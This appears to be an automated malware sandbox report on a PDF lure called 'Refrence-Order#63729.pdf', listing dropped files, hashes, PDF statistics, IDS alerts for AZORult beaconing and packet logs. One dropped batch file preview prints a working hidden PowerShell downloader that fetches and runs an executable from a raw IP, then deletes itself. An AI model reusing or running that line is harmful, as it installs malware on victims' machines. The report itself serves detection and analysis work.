SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e9112afc-1636-4a5b-a444-b2e00eccfb81.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eba0fcc0-9a72-4d47-9fe6-92368f1b40ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\kufktcsf.fzd\Order-63729_Reference.bat

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.170887250116096
Encrypted:	false
SSDEEP:	6:hSGnyTJgeCx1DrLTFP76wCuAouIMFyFP76wCuAzBs:0GnSJwDfhP7qouIMUP7qz2
MD5:	1959937C119D4B66DD48D8067850F50D
SHA1:	83C9104B1AA305FE13D1321CDA6A2CABBB9241FC
SHA-256:	E512EC36EA716C5A62C1A24FB8B794C4E6A0DB4C5C7ED1D16025400428622CC2
SHA-512:	A9B2230F6B2E0A59A2B8B8697E7BEB6379A65CC0831108D6E342970E8A1FB6E4E307080053035E26F28FA62D2B1C8CCBC7927C2CF2C7E6523238D0DCF9F6B956
Malicious:	false
Preview:	@echo off..powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe..del /F $0..

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1875
Entropy (8bit):	5.0601656168123545
Encrypted:	false
SSDEEP:	48:j7fG4Gb4G4GpqGanrG4GpoGbGG/GfGDdG35GmGa5G5GRG4GPG4GZGV6bw0W:jgC1AV
MD5:	F2116001C76A5F2A640F0B2C900ED20F
SHA1:	F22736895CB764D18F3108571C46FCCA36A1CB43
SHA-256:	D049D6E545688F5E2F80D8F706EC13B9B5BE18942064ECF7BAAD62715A1AEAAE
SHA-512:	009337AEB2A504344AFFBA49BCAD1CA39CAC18F7838EC91D4E032D9D2DFADE2D440B056EF4CF5E2750A8678A69EF07BA9C42CA14CCB0AD73D5B090FAE52E9675
Malicious:	false
Preview:	10/03/2024 10:27 PM: Unpack: C:\Users\user\Downloads\ft6o99.rar..10/03/2024 10:27 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\kufktcsf.fzd..10/03/2024 10:27 PM: Received from standard out: ..10/03/2024 10:27 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..10/03/2024 10:27 PM: Received from standard out: ..10/03/2024 10:27 PM: Received from standard out: Scanning the drive for archives:..10/03/2024 10:27 PM: Received from standard out: 1 file, 257 bytes (1 KiB)..10/03/2024 10:27 PM: Received from standard out: ..10/03/2024 10:27 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\ft6o99.rar..10/03/2024 10:27 PM: Received from standard out: --..10/03/2024 10:27 PM: Received from standard out: Path = C:\Users\user\Downloads\ft6o99.rar..10/03/2024 10:27 PM: Received from standard out: Type = Rar5..10/03/2024 10:27 PM: Received from standard out: Physical Size = 257..10/03/2024 10:27 PM: Received

C:\Users\user\Downloads\299aa799-6676-47ca-adf2-58b300ca853d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	257
Entropy (8bit):	7.124850716617592
Encrypted:	false
SSDEEP:	6:udVycoW6wCu9DsOiyG6GbSVqmjUHDFg+S/Hhl:oVyBWXsOiUGWVqmjUHDFg+AT
MD5:	C5B640F6226386F6A684264914E3EF2B
SHA1:	0BAAA36774D2B11E37AFF59847F2614835D18862
SHA-256:	2313634B41B6A6616525373B3EEFB4D4F4453374EA407372CF9FD39A786B70F3
SHA-512:	DBD86416E491F068484BF95C872FBA9C40D52BF4709C4BCFD2426D7AAC6FDC9F5DEE43AC1536243970204D21BE668FC900A7E131C83C3C43BB76472FB20A681B
Malicious:	false
Preview:	Rar!....3...............=.5........ +..I....Order-63729_Reference.bat....32......<.&dS2.PE...C.Y/L.]...KG.Z.....NH...x#.....0...y>.f.......z.gc.\|.: /X5...1.e......1.....U..KT..%.J%.JgJ)U..M...Z%P.S.6.......Y.W.n......P.....:..p....T..i.a.$..wVQ....

C:\Users\user\Downloads\ft6o99.rar (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	257
Entropy (8bit):	7.124850716617592
Encrypted:	false
SSDEEP:	6:udVycoW6wCu9DsOiyG6GbSVqmjUHDFg+S/Hhl:oVyBWXsOiUGWVqmjUHDFg+AT
MD5:	C5B640F6226386F6A684264914E3EF2B
SHA1:	0BAAA36774D2B11E37AFF59847F2614835D18862
SHA-256:	2313634B41B6A6616525373B3EEFB4D4F4453374EA407372CF9FD39A786B70F3
SHA-512:	DBD86416E491F068484BF95C872FBA9C40D52BF4709C4BCFD2426D7AAC6FDC9F5DEE43AC1536243970204D21BE668FC900A7E131C83C3C43BB76472FB20A681B
Malicious:	true
Preview:	Rar!....3...............=.5........ +..I....Order-63729_Reference.bat....32......<.&dS2.PE...C.Y/L.]...KG.Z.....NH...x#.....0...y>.f.......z.gc.\|.: /X5...1.e......1.....U..KT..%.J%.JgJ)U..M...Z%P.S.6.......Y.W.n......P.....:..p....T..i.a.$..wVQ....

C:\Users\user\Downloads\ft6o99.rar.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	257
Entropy (8bit):	7.124850716617592
Encrypted:	false
SSDEEP:	6:udVycoW6wCu9DsOiyG6GbSVqmjUHDFg+S/Hhl:oVyBWXsOiUGWVqmjUHDFg+AT
MD5:	C5B640F6226386F6A684264914E3EF2B
SHA1:	0BAAA36774D2B11E37AFF59847F2614835D18862
SHA-256:	2313634B41B6A6616525373B3EEFB4D4F4453374EA407372CF9FD39A786B70F3
SHA-512:	DBD86416E491F068484BF95C872FBA9C40D52BF4709C4BCFD2426D7AAC6FDC9F5DEE43AC1536243970204D21BE668FC900A7E131C83C3C43BB76472FB20A681B
Malicious:	false
Preview:	Rar!....3...............=.5........ +..I....Order-63729_Reference.bat....32......<.&dS2.PE...C.Y/L.]...KG.Z.....NH...x#.....0...y>.f.......z.gc.\|.: /X5...1.e......1.....U..KT..%.J%.JgJ)U..M...Z%P.S.6.......Y.W.n......P.....:..p....T..i.a.$..wVQ....

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RAR archive data, v5
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	7.124850716617592
Encrypted:	false
SSDEEP:	6:udVycoW6wCu9DsOiyG6GbSVqmjUHDFg+S/Hhl:oVyBWXsOiUGWVqmjUHDFg+AT
MD5:	C5B640F6226386F6A684264914E3EF2B
SHA1:	0BAAA36774D2B11E37AFF59847F2614835D18862
SHA-256:	2313634B41B6A6616525373B3EEFB4D4F4453374EA407372CF9FD39A786B70F3
SHA-512:	DBD86416E491F068484BF95C872FBA9C40D52BF4709C4BCFD2426D7AAC6FDC9F5DEE43AC1536243970204D21BE668FC900A7E131C83C3C43BB76472FB20A681B
Malicious:	false
URL:	https://files.catbox.moe/ft6o99.rar
Preview:	Rar!....3...............=.5........ +..I....Order-63729_Reference.bat....32......<.&dS2.PE...C.Y/L.]...KG.Z.....NH...x#.....0...y>.f.......z.gc.\|.: /X5...1.e......1.....U..KT..%.J%.JgJ)U..M...Z%P.S.6.......Y.W.n......P.....:..p....T..i.a.$..wVQ....

Static File Info

General

File type:	PDF document, version 1.7, 1 pages
Entropy (8bit):	7.88572399670707
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Refrence-Order#63729.pdf
File size:	77'595 bytes
MD5:	a0c8986f254942da6398f191ea2de509
SHA1:	4e40a90768dfeff4c0cb4411a176bd7be68c9ac7
SHA256:	cf5b009d36a4f45d435e3a10ac62c19fcbd161f69689589f8e9280735441da5c
SHA512:	0eef50fd30c31b3c21abd04715c59126625bb9805ef377a75b0f0ef6abe0336d7e1273591455fe33bd13bc49577aa37257a7d0e664083365c2fac7d4d00565a1
SSDEEP:	1536:ThWq0RfD6oBNp2XEgbyv2VCQ6zYkwvrAi2DSYbTBxQ7MOxjd/VcReDjslRvwG:VZ0RfmUNp2XEgbS2VezYkwvMxt8jxNVM
TLSH:	AB73F128894C6ACCC48C9B171F2775AD761FB262B1E4C8913CADC6834750EA3D0A3D9B
File Content Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en-US) /StructTreeRoot 20 0 R/MarkInfo<</Marked true>>/Metadata 65 0 R/ViewerPreferences 66 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 1/Kids[ 3 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.7
Total Entropy:	7.885724
Total Bytes:	77595
Stream Entropy:	7.936697
Stream Bytes:	71353
Entropy outside Streams:	5.199817
Bytes outside Streams:	6242
Number of EOF found:	2
Bytes after EOF:

Keywords Statistics

Name	Count
obj	30
endobj	30
stream	9
endstream	9
xref	2
trailer	2
startxref	2
/Page	1
/Encrypt	0
/ObjStm	1
/URI	4
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
5	00d3d5d580118000	a42369753be1b57f38bcdf7f5eadee5d
15	b388c88eb6daa7a4	90094d8dbb01d5428b9f260c6860c177

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T04:28:02.056742+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.6	49740	172.67.159.45	80	TCP
2024-10-04T04:28:02.056742+0200	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.6	49740	172.67.159.45	80	TCP
2024-10-04T04:28:02.336392+0200	2029136	ET MALWARE AZORult v3.3 Server Response M1	1	172.67.159.45	80	192.168.2.6	49740	TCP
2024-10-04T04:28:11.260527+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.6	49744	172.67.159.45	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 04:27:29.733021021 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:29.733131886 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:29.733218908 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:29.734256983 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:29.734297991 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.530072927 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.530162096 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.534826040 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.534852982 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.535098076 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.568633080 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.568725109 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.568758011 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.568789005 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.615411997 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.745327950 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.745527029 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:30.745578051 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.745729923 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:30.745757103 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:32.101671934 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 4, 2024 04:27:32.117686987 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 4, 2024 04:27:32.448631048 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 4, 2024 04:27:34.129415035 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 4, 2024 04:27:34.129525900 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 4, 2024 04:27:35.580085039 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:35.580142021 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:35.580224991 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:35.581743956 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:35.581760883 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.245831966 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.245913029 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.251969099 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.251993895 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.252382994 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.294855118 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.301493883 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.347410917 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.521311045 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.521392107 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.521539927 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.521585941 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.521625042 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.521625042 CEST	49719	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.521634102 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.521640062 CEST	443	49719	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.699883938 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.699949980 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:36.700145960 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.702414989 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:36.702461958 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.341315985 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.341403961 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.343262911 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.343280077 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.343549967 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.344705105 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.391410112 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.613895893 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.613976955 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.614155054 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.625260115 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.625260115 CEST	49720	443	192.168.2.6	184.28.90.27
Oct 4, 2024 04:27:37.625303030 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:37.625322104 CEST	443	49720	184.28.90.27	192.168.2.6
Oct 4, 2024 04:27:38.103283882 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.103317976 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.103566885 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.104145050 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.104156971 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.898462057 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.898531914 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.901127100 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.901132107 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.901355982 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.902836084 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.902904987 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.902909040 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:38.903069019 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:38.947392941 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:39.079708099 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:39.080140114 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:39.080193996 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:39.080337048 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:39.080353022 CEST	443	49721	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:39.080363035 CEST	49721	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:42.454040051 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:42.454092979 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:42.454155922 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:42.454333067 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:42.454354048 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:42.672919035 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:42.672962904 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:42.673042059 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:42.674499989 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:42.674521923 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.008783102 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.009149075 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.009171963 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.012737036 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.012931108 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.014889956 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.015054941 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.015059948 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.015083075 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.061650991 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.061675072 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.108530998 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.112059116 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.112211943 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.112273932 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.113215923 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.113238096 CEST	443	49724	23.56.162.185	192.168.2.6
Oct 4, 2024 04:27:43.113245964 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.113285065 CEST	49724	443	192.168.2.6	23.56.162.185
Oct 4, 2024 04:27:43.375794888 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.375885963 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.377515078 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.377536058 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.377849102 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.420891047 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.430913925 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.475404978 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693080902 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693109989 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693119049 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693129063 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693146944 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693181038 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.693213940 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693254948 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.693254948 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.693927050 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.693986893 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.693995953 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.694092989 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.694139957 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.708074093 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.708092928 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:43.708105087 CEST	49725	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:27:43.708111048 CEST	443	49725	172.202.163.200	192.168.2.6
Oct 4, 2024 04:27:51.376816988 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:51.376863003 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:51.376944065 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:51.377517939 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:51.377527952 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.157103062 CEST	443	49730	40.113.110.67	192.168.2.6
Oct 4, 2024 04:27:52.157308102 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.163932085 CEST	49730	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:27:52.163940907 CEST	443	49730	40.113.110.67	192.168.2.6
